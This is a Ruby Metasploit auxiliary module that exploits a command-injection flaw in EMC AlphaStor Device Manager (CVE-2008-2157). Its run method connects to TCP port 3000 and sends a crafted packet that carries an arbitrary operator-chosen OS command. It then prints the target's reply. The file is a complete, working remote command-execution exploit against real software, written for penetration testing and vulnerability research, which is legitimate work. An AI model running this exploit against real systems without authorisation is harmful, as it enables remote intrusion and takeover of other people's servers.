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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
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        'Description' => %q{
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          EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
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          because the application fails to properly sanitize user-supplied input.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
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          [ 'OSVDB', '45715' ],
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          [ 'CVE', '2008-2157' ],
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          [ 'BID', '29398' ],
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        ],
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        'DisclosureDate' => '2008-05-27',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(3000),
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        OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
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      ]
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    )
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  end
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  def run
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    connect
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    data = "\x75" + datastore['CMD']
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    pad = "\x00" * 512
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    pkt = data + pad
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    print_status("Sending command: #{datastore['CMD']}")
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    sock.put(pkt)
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    # try to suck it all in.
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    select(nil, nil, nil, 5)
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    res = sock.get_once || ''
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    res.each_line do |info|
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      print_status(info.gsub(/[^[:print:]]+/, '').to_s) # hack.
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    end
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    disconnect
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  rescue ::Rex::ConnectionError
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    print_error 'Connection failed'
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  rescue ::EOFError
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    print_error 'No reply'
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  end
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end
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